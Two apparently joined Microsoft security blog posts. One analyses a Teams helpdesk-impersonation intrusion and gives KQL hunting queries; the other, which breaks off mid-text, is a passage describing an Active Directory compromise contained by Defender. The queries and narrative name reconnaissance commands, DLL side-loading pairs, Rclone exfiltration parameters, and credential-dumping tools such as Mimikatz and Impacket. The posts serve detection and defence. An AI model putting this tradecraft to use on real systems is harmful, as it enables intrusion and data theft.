Threat actors are initiating cross-tenant Microsoft Teams communications while impersonating IT or helpdesk personnel to socially engineer users into granting remote desktop access. After access is established through Quick Assist or similar remote support tools, attackers often execute trusted vendor-signed applications alongside attacker-supplied modules to enable malicious code execution.

This access pathway might be used to perform credential-backed lateral movement using native administrative protocols such as Windows Remote Management (WinRM), allowing threat actors to pivot toward high-value assets including domain controllers. In observed intrusions, follow-on commercial remote management software and data transfer utilities such as Rclone were used to expand access across the enterprise environment and stage business-relevant information for transfer to external cloud storage. This intrusion chain relies heavily on legitimate applications and administrative protocols, allowing threat actors to blend into expected enterprise activity during multiple intrusion phases.

Threat actors are increasingly abusing external Microsoft Teams collaboration to impersonate IT or helpdesk personnel and convince users to grant remote assistance access. From this initial foothold, attackers can leverage trusted tools and native administrative protocols to move laterally across the enterprise and stage sensitive data for exfiltration—often blending into routine IT support activity throughout the intrusion lifecycle. Microsoft Defender provides correlated visibility across identity, endpoint, and collaboration telemetry to help detect and disrupt this user‑initiated access pathway before it escalates into broader compromise.

Risk to enterprise environments

By abusing enterprise collaboration workflows instead of traditional email‑based phishing channels, attackers may initiate contact through applications such as Microsoft Teams in a way that appears consistent with routine IT support interactions. While Teams includes built‑in security features such as external‑sender labeling and Accept/Block prompts, this attack chain relies on convincing users to bypass those warnings and voluntarily grant remote access through legitimate support tools.

In observed intrusions, risk is introduced not by external messaging alone, but when a user approves follow‑on actions — such as launching a remote assistance session — that result in interactive system access.

An approved external Teams interaction might enable threat actors to:

• Establish credential-backed interactive system access 
• Deploy trusted applications to execute attacker-controlled code 
• Pivot toward identity and domain infrastructure using WinRM 
• Deploy commercially available remote management tooling 
• Stage sensitive business-relevant data for transfer to external cloud infrastructure 

In the campaign, lateral movement and follow-on tooling installation occurred shortly after initial access, increasing the risk of enterprise-wide persistence and targeted data exfiltration. As each environment is different and with potential handoff to different threat actors, stages might differ if not outright bypassed.

Attack chain overview

Stage 1: Initial contact via Teams (T1566.003 Spearphishing via Service)

The intrusion begins with abuse of external collaboration features in Microsoft Teams, where an attacker operating from a separate tenant initiates contact while impersonating internal support personnel as a means to social engineer the user. Because interaction occurs within an enterprise collaboration platform rather than through traditional email‑based phishing vectors, it might bypass initial user skepticism associated with unsolicited external communication. Security features protecting Teams users are detailed here, for reference. It’s important to note that this attack relies on users willfully ignoring or overlooking security notices and other protection features.  The lure varies and might include “Microsoft Security Update”, “Spam Filter Update”, “Account Verification” but the objective is constant: convince the user to ignore warnings and external contact flags, launch a remote management session, and accept elevation. Voice phishing (vishing) is sometimes layered to increase trust or compliance if they don’t replace the messaging altogether.

Timing matters. We regularly see a “ChatCreated” event to indicate a first contact situation, followed by suspicious chats or vishing, remote management, and other events t that commonly produce alerts to include mailbombing or URL click alerts.   All of these can be correlated by account and chat thread information in your Defender hunting environment.

Teams security warnings:

External Accept/Block screens provide notice to users about First Contact events, which prompt the user to inspect the sender’s identity before accepting:

Higher confidence warnings alert the user of spam or phishing attempts on first contact:

External warnings notify users that they are communicating with a tenant/organization other than their own and should be treated with scrutiny:

Message warnings alert the user on the risk in clicking the URL:

Safe Links for time-of-click protection warns users when URLs from Teams chat messages are malicious:

Zero-hour Auto Purge (ZAP) can remove messages that were flagged as malicious after they have been sent:

It’s important to note that the attacker often does not send the URL over a Teams message. Instead, they will navigate to it while on the endpoint during a remote management session. Therefore, the best security is user education on understanding the importance of not ignoring external flags for new helpdesk contacts. See “User education” in the “Defend, harden, and educate (Controls to deploy now)” section for further advice.

Stage 2: Remote assistance foothold

With user consent obtained through social engineering, the attacker gains interactive control of the device using remote support tools such as Quick Assist. This access typically results in the launch of QuickAssist.exe, followed by the display of standard Windows elevation prompts through Consent.exe as the attacker is guided through approval steps.

From the user’s perspective, the attacker  convinces them to open Quick Assist, enter a short key, the follow all prompts and approvals to grant access.

This step is often completed in under a minute. The urgency and interactivity are the signal: a remote‑assist process tree followed immediately by “cmd.exe” or PowerShell on the same desktop.

Stage 3: Interactive reconnaissance and access validation

Immediately after establishing control through Quick Assist, the attacker typically spends the first 30–120 seconds assessing their level of access and understanding the compromised environment. This is often reflected by a brief surge of cmd.exe activity, used to verify user context and privilege levels, gather basic system information such as host identity and operating system details, and confirm domain affiliation. In parallel, the attacker might query registry values to determine OS build and edition, while also performing quick network reconnaissance to evaluate connectivity, reachability, and potential opportunities for lateral movement.

On systems with limited privileges—such as kiosks, VDI, or non-corp-joined devices—actors might pause without deploying payloads, leaving only brief reconnaissance activity. They often return later when access improves or pivot to other targets within the same tenant.

Stage 4: Payload placement and trusted application invocation

Once remote access is established, the intrusion transitions from user‑assisted interaction to preparing the environment for persistent execution. At this point, attackers introduce a small staging bundle onto disk using either archive‑based deployment or short‑lived scripting activity.

After access is established, attackers stage payloads in locations such as ProgramData and execute them using DLL side‑loading through trusted signed applications. This includes:

• AcroServicesUpdater2_x64.exe loading a staged msi.dll
• ADNotificationManager.exe loading vcruntime140_1.dll
• DlpUserAgent.exe loading mpclient.dll
• werfault.exe loading Faultrep.dll

Allowing attacker‑supplied modules to run under a trusted execution context from non‑standard paths.

Stage 5: Execution context validation and registry backed loader state

Following payload delivery, the attacker performs runtime checks to validate host conditions before execution. A large encoded value is then written to a user‑context registry location, serving as a staging container for encrypted configuration data to be retrieved later at runtime.

In this stage, a sideloaded module acting as an intermediary loader decrypts staged registry data in memory to reconstruct execution and C2 configuration without writing files to disk. This behavior aligns with intrusion frameworks such as Havoc, which externalize encrypted configuration to registry storage, allowing trusted sideloaded components to dynamically recover execution context and maintain operational continuity across restarts or remediation events.

Microsoft Defender for Endpoint may detect this activity as:

• Unexpected DLL load by trusted application
• Service‑path execution outside vendor installation directory
• Execution from user‑writable directories such as ProgramData

Attack surface reduction rules and Windows Defender Application Control policies can be used to restrict execution pathways commonly leveraged for sideloaded module activation.

Stage 6: Command and control

Following successful execution of the sideloaded component, the updater‑themed process AcroServicesUpdater2_x64.exe began initiating outbound HTTPS connections over TCP port 443 to externally hosted infrastructure.

Unlike expected application update workflows which are typically restricted to known vendor services these connections were directed toward dynamically hosted cloud‑backed endpoints and unknown external domains. This behavior indicates remote attacker‑controlled infrastructure rather than legitimate update mechanisms.

Establishing outbound encrypted communications in this manner enables compromised processes to operate as beaconing implants, allowing adversaries to remotely retrieve instructions and maintain control within the affected environment while blending command traffic into routine HTTPS activity. The use of cloud‑hosted hosting layers further reduces infrastructure visibility and improves the attacker’s ability to modify or rotate communication endpoints without altering the deployed payload.

This activity marks the transition from local execution to externally directed command‑and‑control — enabling subsequent stages of discovery and movement inside the enterprise network.

Stage 7: Internal discovery and lateral movement toward high value assets

Shortly after external communications were established, the compromised process began initiating internal remote management connections over WinRM (TCP 5985) toward additional domain‑joined systems within the enterprise environment.

Microsoft Defender may surface these activities as multi‑device incidents reflecting credential‑backed lateral movement initiated from a user‑context remote session.

Analysis of WinRM activity indicates that the threat actor used native Windows remote execution to pivot from the initially compromised endpoint toward high‑value infrastructure assets, including identity and domain management systems such as domain controllers. Use of WinRM from a non‑administrative application suggests credential‑backed lateral movement directed by an external operator, enabling remote command execution, interaction with domain infrastructure, and deployment of additional tooling onto targeted hosts.

Targeting identity‑centric infrastructure at this stage reflects a shift from initial foothold to broader enterprise control and persistence. Notably, this internal pivot preceded the remote deployment of additional access tooling in later stages, indicating that attacker‑controlled WinRM sessions were subsequently leveraged to extend sustained access across

Stage 8: Remote deployment of auxiliary access tooling (Level RMM)

Subsequent activity revealed the remote installation of an additional management platform across compromised hosts using Windows Installer (msiexec.exe). This introduced an alternate control channel independent of the original intrusion components, reducing reliance on the initial implant and enabling sustained access through standard administrative mechanisms. As a result, attackers could maintain persistent remote control even if earlier payloads were disrupted or removed.

Stage 9: Data exfiltration

Actors used the file‑synchronization tool Rclone to transfer data from internal network locations to an external cloud storage service. File‑type exclusions in the transfer parameters suggest a targeted effort to exfiltrate business‑relevant documents while minimizing transfer size and detection risk.

Microsoft Defender might detect this activity as possible data exfiltration involving uncommon synchronization tooling.

Mitigation and protection guidance

Microsoft protection outcomes

Microsoft Defender XDR detections

Microsoft Defender provides pre-breach and post-breach coverage for this campaign, supported by the  generic and specific alerts listed below.

Hunting queries

Security teams can use the advanced hunting capabilities in Microsoft Defender XDR to proactively look for indicators of exploitation.

A. Teams → RMM correlation

let _timeFrame = 30m;
// Teams message signal 
let _teams =
    MessageEvents
    | where Timestamp > ago(14d)
    //| where SenderDisplayName contains "add keyword"
    //          or SenderDisplayName contains "add keyword"
    | extend Recipient = parse_json(RecipientDetails)
    | mv-expand Recipient
    | extend VictimAccountObjectId = tostring(Recipient.RecipientObjectId),
             VictimRecipientDisplayName = tostring(Recipient.RecipientUserDisplayName)
    | project
        TTime = Timestamp,
        SenderEmailAddress,
        SenderDisplayName,
        VictimRecipientDisplayName,
        VictimAccountObjectId;
// RMM launches on endpoint side
let _rmm =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("QuickAssist.exe", "AnyDesk.exe", "TeamViewer.exe")
    | extend VictimAccountObjectId = tostring(InitiatingProcessAccountObjectId)
    | project
        DeviceName,
        QTime = Timestamp,
        RmmTool = FileName,
        VictimAccountObjectId;
_teams
| where isnotempty(VictimAccountObjectId)
| join kind=inner _rmm on VictimAccountObjectId
| where isnotempty(DeviceName)
| where QTime between ((TTime) .. (TTime +(_timeFrame)))
| project DeviceName, SenderEmailAddress, SenderDisplayName, VictimRecipientDisplayName, VictimAccountObjectId, TTime, QTime, RmmTool
| order by QTime desc

B. Execution

DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName =~ "cmd.exe"
| where FileName =~ "cmd.exe"
| where ProcessCommandLine has_all ("/S /D /c", "\" set /p=\"PK\"", "1>")

C. ZIP → ProgramData service path → signed host sideload

let _timeFrame = 10m;
let _armOrDevice =
    DeviceFileEvents
    | where Timestamp > ago(14d)
    | where FolderPath has_any (
        "C:\\ProgramData\\Adobe\\ARM\\", 
        "C:\\ProgramData\\Microsoft\\DeviceSync\\",
        "D:\\ProgramData\\Adobe\\ARM\\", 
        "D:\\ProgramData\\Microsoft\\DeviceSync\\")
      and ActionType in ("FileCreated","FileRenamed")
    | project DeviceName, First=Timestamp, FileName;
let _hostRun =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("AcroServicesUpdater2_x64.exe","DlpUserAgent.exe","ADNotificationManager.exe")
    | project DeviceName, Run=Timestamp, Host=FileName;
_armOrDevice
| join kind=inner _hostRun on DeviceName
| where Run between (First .. (First+(_timeFrame)))
| summarize First=min(First), Run=min(Run), Files=make_set(FileName, 10) by DeviceName, Host
| order by Run desc

D. PowerShell → high‑risk TLD → writes %AppData%/Roaming EXE

let _timeFrame = 5m;
let _psNet = DeviceNetworkEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName in~ ("powershell.exe","pwsh.exe")
| where RemoteUrl matches regex @"(?i)\.(top|xyz|zip|click)$"
| project DeviceName, NetTime=Timestamp, RemoteUrl, RemoteIP;
let _exeWrite = DeviceFileEvents
| where Timestamp > ago(14d)
| where FolderPath has @"\AppData\Roaming\" and FileName endswith ".exe"
| project DeviceName, WTime=Timestamp, FileName, FolderPath, SHA256;
_psNet
| join kind=inner _exeWrite on DeviceName
| where WTime between (NetTime .. (NetTime+(_timeFrame)))
| project DeviceName, NetTime, RemoteUrl, RemoteIP, WTime, FileName, FolderPath, SHA256
| order by WTime desc

E. Registry breadcrumbs / ASEP anomalies

DeviceRegistryEvents
| where Timestamp > ago(30d)
| where RegistryKey has @"\SOFTWARE\Classes\Local Settings\Software\Microsoft"
| where RegistryValueName in~ ("UCID","UFID","XJ01","XJ02","UXMP")
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, PreviousRegistryValueData, InitiatingProcessFileName
| order by Timestamp desc

F. Non‑browser process → API‑Gateway → internal AD protocols

let _timeFrame = 10m;
let _net1 =
    DeviceNetworkEvents
    | where Timestamp > ago(14d)
    | where RemoteUrl has ".execute-api."
    | where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
    | project DeviceName,
              Proc=InitiatingProcessFileName,
              OutTime=Timestamp,
              RemoteUrl,
              RemoteIP;
let _net2 =
    DeviceNetworkEvents
    | where Timestamp > ago(14d)
    | where RemotePort in (135,389,445,636)
    | project DeviceName,
              Proc=InitiatingProcessFileName,
              InTime=Timestamp,
              RemoteIP,
              RemotePort;
_net1
| join kind=inner _net2 on DeviceName, Proc
| where InTime between (OutTime .. (OutTime+(_timeFrame)))
| project DeviceName, Proc, OutTime, RemoteUrl, InTime, RemotePort
| order by InTime desc

G. PowerShell history deletion

DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName =~ "ConsoleHost_history.txt" and ActionType == "FileDeleted"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath
| order by Timestamp desc

H. Reconnaissance burst (cmd / PowerShell)

DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe")
| where ProcessCommandLine has_any (
    "whoami", "whoami /all", "whoami /groups", "whoami /priv",
    "hostname", "systeminfo", "ver", "wmic os get",
    "reg query HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
    "query user", "net user", "nltest", "ipconfig /all", "arp -a", "route print",
    "dir", "icacls"
)
| project Timestamp, DeviceName, FileName, InitiatingProcessFileName, ProcessCommandLine
| summarize eventCount = count(), FileNames = make_set(FileName), InitiatingProcessFileNames = make_set(InitiatingProcessFileName), ProcessCommandLines = make_set(ProcessCommandLine, 5) by DeviceName
| where eventCount > 2

I. Data Exfil

DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName =~ "rclone.exe" or ProcessVersionInfoOriginalFileName =~ "rclone.exe"
| where ProcessCommandLine has_all ("copy ", "--config rclone_uploader.conf", "--transfers 16", "--checkers 16", "--buffer-size 64M", "--max-age=3y", "--exclude *.mdf")

J. Quick Assist–anchored recon (no staging writes within 10 minutes)

let _reconWindow = 10m; // common within 1-5 minutes
let _stageWindow = 15m; // common 1-2 minutes after recon, or less
// Anchor on RMM 
let _rmm =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("QuickAssist.exe", "AnyDesk.exe", "TeamViewer.exe")
    | project DeviceName, RMMTime=Timestamp;
// Recon commands within X minutes of RMM start (targeted list)
let _recon =
    DeviceProcessEvents
    | where Timestamp > ago(14d)
    | where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe")
    | where ProcessCommandLine has_any (
        "whoami", "hostname", "systeminfo", "ver", "wmic os get",
        "reg query HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
        "query user", "net user", "nltest", "ipconfig /all", "arp -a", "route print",
        "dir", "icacls"
    )
    | project DeviceName, ReconTime=Timestamp, ReconCmd=ProcessCommandLine, ReconProc=FileName;
// Suspect staging writes (ZIP/EXE/DLL)
let _staging =
    DeviceFileEvents
    | where Timestamp > ago(14d)
    | where ActionType in ("FileCreated","FileRenamed")
    | where FileName matches regex @"(?i).*\\.(zip|exe|dll)$"
    | project DeviceName, STime=Timestamp, StageFile=FileName, StagePath=FolderPath;
// Correlate RMM + recon, then exclude cases with staging writes in the next X minutes
let _rmmRecon =
    _rmm
    | join kind=inner _recon on DeviceName
    | where ReconTime between (RMMTime .. (RMMTime+(_reconWindow)))
    | project DeviceName, RMMTime, ReconTime, ReconProc, ReconCmd;
_rmmRecon
| join kind=leftouter _staging on DeviceName
| extend HasStagingInWindow = iff(STime between (RMMTime .. (RMMTime+(_stageWindow))), 1, 0)
| summarize HasStagingInWindow=max(HasStagingInWindow) by DeviceName, RMMTime, ReconTime, ReconProc, ReconCmd
| where HasStagingInWindow == 0
| project DeviceName, RMMTime, ReconTime, ReconProc, ReconCmd

K. Sample Correlation Query Between Chat, First Contact, and Alerts

Note. Please modify or tune for your specific environment.

let _timeFrame = 30m;      // Tune: how long after the Teams event to look for matching alerts
let _huntingWindow = 4d;   // Tune: broader lookback increases coverage but also cost
// Seed Teams message activity and normalize the victim/join fields you want to carry forward
let _teams = materialize (
    MessageEvents
    | where Timestamp > ago(_huntingWindow)
    | extend Recipient = parse_json(RecipientDetails)
    // Optional tuning: add sender/name/content filters here first to reduce volume early
    //| where SenderDisplayName contains "add keyword"
    //          or SenderDisplayName contains "add keyword"
    // add other hunting terms 
    | mv-expand Recipient
    | extend VictimAccountObjectId = tostring(Recipient.RecipientObjectId),
             VictimUPN = tostring(Recipient.RecipientSmtpAddress)
    | project
        TTime = Timestamp,
        SenderUPN = SenderEmailAddress,
        SenderDisplayName,
        VictimUPN,
        VictimAccountObjectId,
        ChatThreadId = ThreadId
);
// Distinct key sets used to prefilter downstream tables before joining
let _VictimAccountObjectId = materialize(
    _teams
    | where isnotempty(VictimAccountObjectId)
    | distinct VictimAccountObjectId
);
let _VictimUPN = materialize(
    _teams
    | where isnotempty(VictimUPN)
    | distinct VictimUPN
);
let _ChatThreadId = materialize(
    _teams
    | where isnotempty(ChatThreadId)
    | distinct ChatThreadId
);
// Find first-seen chat creation events for the chat threads already present in _teams
// Tune: add more CloudAppEvents filters here if you want to narrow to external / one-on-one / specific chat types
let _firstContact = materialize(
    CloudAppEvents
    | where Timestamp > ago(_huntingWindow)
    | where Application has "Teams"
    | where ActionType == "ChatCreated"
    | extend Raw = todynamic(RawEventData)
    | extend ChatThreadId = tostring(Raw.ChatThreadId)
    | where isnotempty(ChatThreadId)
    | join kind=innerunique (_ChatThreadId) on ChatThreadId
    | summarize FCTime = min(Timestamp) by ChatThreadId
);
// Alert branch 1: match by victim object ID
// Usually the cleanest identity join if the field is populated consistently
let _alerts_by_oid = materialize(
    AlertEvidence
    | where Timestamp > ago(_huntingWindow)
    | where AccountObjectId in (_VictimAccountObjectId)
    | project
        ATime = Timestamp,
        AlertId,
        Title,
        AccountName,
        AccountObjectId,
        AccountUpn = "",
        SourceId = "",
        ChatThreadId = ""
);
// Alert branch 2: match by victim UPN
// Useful when ObjectId is missing or alert evidence is only populated with UPN
let _alerts_by_upn = materialize(
    AlertEvidence
    | where Timestamp > ago(_huntingWindow)
    | where AccountUpn in (_VictimUPN)
    | project
        ATime = Timestamp,
        AlertId,
        Title,
        AccountName,
        AccountObjectId,
        AccountUpn,
        SourceId = "",
        ChatThreadId = ""
);
// Alert branch 3: match by chat thread ID
// Tune: this is typically the most expensive branch because it inspects AdditionalFields
let _alerts_by_thread = materialize(
    AlertEvidence
    | where Timestamp > ago(_huntingWindow)
    | where AdditionalFields has_any (_ChatThreadId)
    | extend AdditionalFields = todynamic(AdditionalFields)
    | extend
        SourceId = tostring(AdditionalFields.SourceId),
        ChatThreadIdRaw = tostring(AdditionalFields.ChatThreadId)
    | extend ChatThreadId = coalesce(
        ChatThreadIdRaw,
        extract(@"/(?:chats|channels|conversations|spaces)/([^/]+)/", 1, SourceId)
    )
    | where isnotempty(ChatThreadId)
    | join kind=innerunique (_ChatThreadId) on ChatThreadId
    | project
        ATime = Timestamp,
        AlertId,
        Title,
        AccountName,
        AccountObjectId,
        AccountUpn = "",
        SourceId,
        ChatThreadId
);
//
// add branch 4 to corrilate with host events
//
// Add first-contact context back onto the Teams seed set
let _teams_fc = materialize(
    _teams
    | join kind=leftouter _firstContact on ChatThreadId
    | extend FirstContact = isnotnull(FCTime)
);
// Join path 1: Teams victim object ID -> alert AccountObjectId
let _matches_oid =
    _teams_fc
    | where isnotempty(VictimAccountObjectId)
    | join hint.strategy=broadcast kind=leftouter (
        _alerts_by_oid
    ) on $left.VictimAccountObjectId == $right.AccountObjectId
    // Time bound keeps only alerts near the Teams activity; widen/narrow _timeFrame to tune sensitivity
    | where isnull(ATime) or ATime between (TTime .. TTime + _timeFrame)
    | extend MatchType = "ObjectId";
// Join path 2: Teams victim UPN -> alert AccountUpn
let _matches_upn =
    _teams_fc
    | where isnotempty(VictimUPN)
    | join hint.strategy=broadcast kind=leftouter (
        _alerts_by_upn
    ) on $left.VictimUPN == $right.AccountUpn
    | where isnull(ATime) or ATime between (TTime .. TTime + _timeFrame)
    | extend MatchType = "VictimUPN";
// Join path 3: Teams chat thread -> alert chat thread
let _matches_thread =
    _teams_fc
    | where isnotempty(ChatThreadId)
    | join hint.strategy=broadcast kind=leftouter (
        _alerts_by_thread
    ) on ChatThreadId
    | where isnull(ATime) or ATime between (TTime .. TTime + _timeFrame)
    | extend MatchType = "ChatThreadId";
//
// add branch 4 for host events
//
// Merge all match paths and collapse multiple alert hits per Teams event into one row
union _matches_oid, _matches_upn, _matches_thread
| summarize
    AlertTitles = make_set(Title, 50),
    AlertIds = make_set(AlertId, 50),
    MatchTypes = make_set(MatchType, 10),
    FirstAlertTime = min(ATime)
    by
        TTime,
        SenderUPN,
        SenderDisplayName,
        VictimUPN,
        VictimAccountObjectId,
        ChatThreadId,

Protecting your organization from collaboration‑based impersonation attacks as demonstrated throughout this intrusion chain, cross‑tenant helpdesk impersonation campaigns rely less on platform exploitation and more on persuading users to initiate trusted remote access workflows within legitimate enterprise collaboration tools such as Microsoft Teams.

Organizations should treat any unsolicited external support contact as inherently suspicious and implement layered defenses that limit credential‑backed remote sessions, enforce Conditional Access with MFA and compliant device requirements, and restrict the use of administrative protocols such as WinRM to authorized management workstations. At the endpoint and identity layers, enabling Attack Surface Reduction (ASR) rules, Zero‑hour Auto Purge (ZAP), Safe Links for Teams messages, and network protection can reduce opportunities for sideloaded execution and outbound command‑and‑control activity that blend into routine HTTPS traffic.

Finally, organizations should reinforce user education—such as establishing internal helpdesk authentication phrases and training employees to verify external tenant indicators—to prevent adversaries from converting legitimate collaboration workflows into attacker‑guided remote access and staged data exfiltration pathways.

References

• Protection Against Email Bombs with Microsoft Defender for Office 365 | Microsoft Community Hub
• Protection against multi-modal attacks with Microsoft Defender | Microsoft Community Hub
• Help on the line: How a Microsoft Teams support call led to compromise | Microsoft Security Blog
• Disrupting threats targeting Microsoft Teams | Microsoft Security Blog

This research is provided by Microsoft Defender Security Research with contributions from Jesse Birch, Sagar Patil, Balaji Venkatesh S (DEX), Eric Hopper, Charu Puhazholi, and other members of Microsoft Threat Intelligence.

Learn More

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post Cross‑tenant helpdesk impersonation to data exfiltration: A human-operated intrusion playbook appeared first on Microsoft Security Blog.

In identity-based attack campaigns, any initial access activity can turn an already serious intrusion into a critical incident once it allows a threat actor to obtain domain-administration rights. At that point, the attacker effectively controls the Active Directory domain: they can change group memberships and Access Control Lists (ACLs), mint Kerberos tickets, replicate directory secrets, and push policy through mechanisms like Group Policy Objects (GPOs), among others.

What makes domain compromise especially challenging is how quickly it could happen: in many real-world cases, domain-level credentials are compromised immediately following the very first access, and once these credentials are exposed, they’re often abused immediately, well before defenders can fully scope what happened. Apart from this speed gap, responding to this type of compromise could also prove difficult. For one, incident responders can’t just simply “turn off” domain controllers, service accounts, or identity infrastructure and core services without risking business continuity. In addition, because compromised credential artifacts can spread fast and be replayed to expand access, restoring the identity infrastructure back to a trusted state usually means taking steps (for example, krbtgt rotation, GPO cleanup, and ACL validation) that could take additional time and effort in an already high-pressure situation.

These challenges highlight the need for a more proactive approach in disrupting and containing credential-based attacks as they happen. Microsoft Defender’s predictive shielding capability in automatic attack disruption helps address this need. Its ability to predict where attacks will pivot next and apply just in time hardening actions to  block credential abuse—including those targeting high-privilege accounts like domain admins—and lateral movement at near-real-time speed, shifting the advantageto the defenders.

Previously, we discussed how predictive shielding was able to disrupt a human-operated ransomware incident. In this blog post, we take a look at a real-world Active Directory domain compromise that illustrates the critical inflection point when a threat actor achieves domain -level control. We walk through the technical details of the incident to highlight attacker tradecraft, the operational challenges defenders face after domain compromise, and the value of proactive, exposure-based containment that predictive shielding provides.

Predictive shielding overview

Predictive shielding is a capability in Microsoft Defender’s automatic attack disruption that helps stop the spread of identity-based attacks, before an attacker fully operationalizes stolen credentials. Instead of waiting for an account to be observed doing something malicious, predictive shielding focuses on moments when credentials are likely exposed: when Defender sees high-confidence signals of credential theft activity on a device, it can proactively restrict the accounts that might have been exposed there.

Essentially, predictive shielding works as follows:

• Defender detects post-breach activity strongly associated with credential exposure on a device.
• It evaluates which high-privilege identities were likely exposed in that context.
• It applies containment to those identities to reduce the attacker’s ability to pivot, limiting lateral movement paths and high-impact identity operations while the incident is being investigated and remediated. The intent is to close the “speed gap” where attackers can reuse newly exposed credentials faster than responders can scope, reset, and clean up.

This capability is available as an out-of-the-box enhancement for Microsoft Defender for Endpoint P2 customers who meet the Microsoft Defender prerequisites.

The following section revisits a real-world domain compromise that showcases how attack disruption and predictive shielding changed the outcome by acting on exposure, rather than just observed abuse. Interestingly, this case happened just as we’re rolling out the predictive shielding, so you can see the changes in both attacker tradecraft and the detection and response actions before and after this capability was deployed.

Attack chain overview

In June 2025, a public sector organization was targeted by a threat actor. This threat actor progressed methodically: initial exploitation, local escalation, directory reconnaissance, credential access, and expansion into Microsoft Exchange and identity infrastructure.  

Initial entry: Pre-domain compromise

The campaign began at the edge: a file-upload flaw in an internet-facing Internet Information Services (IIS) server was abused to plant and launch a web shell. The attacker then simultaneously performed various reconnaissance activities using the compromised account through the web shell and escalated their privileges to NT AUTHORITY\SYSTEM by abusing a Potato-class token impersonation primitive (for example, BadPotato).

The discovery commands observed in the attack include the following example:

Using the compromised IIS service account, the attacker attempted to reset the passwords of high-impact identities, a common technique used to gain control over accounts without performing credential dumping. The attacker also deployed Mimikatz to dump logon secrets (for example, MSV, LSASS, and SAM), harvesting credentials that are exposed on the device.

Had predictive shielding been released at this point, automated restrictions on exposed accounts could have stopped the intrusion before it expanded beyond the single-host foothold. However, at the time of the incident, this capability hasn’t been deployed to customers yet.

Key takeaway: At this stage of an attack, it’s important to keep the containment host‑scoped. Defenders should prioritize blocking credential theft and stopping escalation before it reaches the identity infrastructure.

First pivot: Directory credential materialization and Exchange delegation

Within 24 hours, the attacker abused privileged accounts and remotely created a scheduled task on a domain controller. The task initiated NTDS snapshot activity and packaged the output using makecab.exe, enabling offline access to directory credential material that’s suitable for abusing credentials at scale:

Because the first malicious action by the abused account already surfaced the entire Active Directory credentials, stopping its path for total domain compromise was no longer feasible.

The threat actor then planted a Godzilla web shell on Exchange Server, used a privileged context to enumerate accounts with ApplicationImpersonation role assignments, and granted full access to a delegated principal across mailboxes using Add‑MailboxPermission. This access allowed the threat actor to read and manipulate all mailbox contents.

The attack also used Impacket’s atexec.py to enumerate the role assignments remotely. Its use triggered the attack disruption capability in Defender, revoking the account sessions of an admin account and blocking it from further use.

Following the abused account’s disruption, the attacker attempted several additional actions, such as resetting the disrupted account’s and other accounts’ passwords. They also attempted to dump credentials of a Veeam backup device.

Key takeaway: This pivot is a turning point. Once directory credentials and privileged delegation are in play, the scope and impact of an incident expand fast. Defenders should prioritize protecting domain controllers, privileged identities, and authentication paths.

Scale and speed: Tool return, spraying, and lateral movement

Weeks later, the threat actor returned with an Impacket tooling (for example, secretsdump and PsExec) that resulted in repeated disruptions by Defender against the abused accounts that they used. These disruptions forced the attacker to pivot to other compromised accounts and exhaust their resources.

Following Defender’s disruptions, the threat actor then launched a broad password spray from the initially compromised IIS server, unlocking access to at least 14 servers through password reuse. They also attempted remote credential dumping against a couple of domain controllers and an additional IIS server using multiple domain and service principals.

Key takeaway: Even though automatic attack disruption acted right away, the attacker already possessed multiple credentials due to the previous large-scale credential dumping. This scenario showcases the race to detect and disrupt credential abuse and is the reason we’re introducing predictive shielding to preemptively disrupt exposed accounts at risk.

Predictive shielding breaks the chain: Exposure-centric containment

In the second phase of the attack, we activated predictive shielding. When exposure signals surfaced (for example, credential dumping attempts and replay from compromised hosts), automated containment blocked new sign-in attempts and interactive pivots not only for the abused accounts, but also for context-linked identities that are active on the same compromised surfaces.

Attack disruption contained high-privileged principals to prevent these accounts from being abused. Crucially, when a high-tier Enterprise or Schema Admin credential was exposed, predictive shielding contained it pre-abuse, preventing what would normally become a catastrophic escalation.

Second pivot: Alternative paths to new credentials

With high-value identities pre-contained, the threat actor pivoted to exploiting Apache Tomcat servers. They compromised three Tomcat servers, dropped the Godzilla web shell, and launched the PowerShell-based Invoke-Mimikatz command to harvest additional credentials. At one point, the attacker operated under Schema Admin:

They then used Impacket WmiExec to access Microsoft Entra Connect servers and attempt to extract Entra Connect synchronization credentials. The account used for this pivot was later contained, limiting further lateral movement.

Last attempts and shutdown

In the final phase of the attack, the threat actor attempted a full LSASS dump on a file sharing server using comsvcs.dll MiniDump under a domain user account, followed by additional NTDS activity:

Attack disruption in Defender repeatedly severed sessions and blocked new sign-ins made by the threat actor. On July 28, 2025, the attack campaign lost momentum and stopped.

How predictive shielding changed the outcome

Before compromising a domain, attackers are mostly constrained by the hosts they control. However, even a small set of exposed credentials could remove their constraints and give them broad access through privileged authentication and delegated pathways. The blast radius spreads fast, time pressure spikes, and containment decisions become riskier because identity infrastructure and high-privilege accounts are production dependencies.

The incident we revisited earlier almost followed a similar pattern. It unfolded while predictive shielding was still being launched, so the automated predictive containment capability only became active at the midway of the attack campaign. During the attack’s first stages, the threat actor had room to scale—they returned with new tooling, launched a broad password spray attack, and expanded access across multiple servers. They also attempted remote credential dumping against domain controllers and servers.

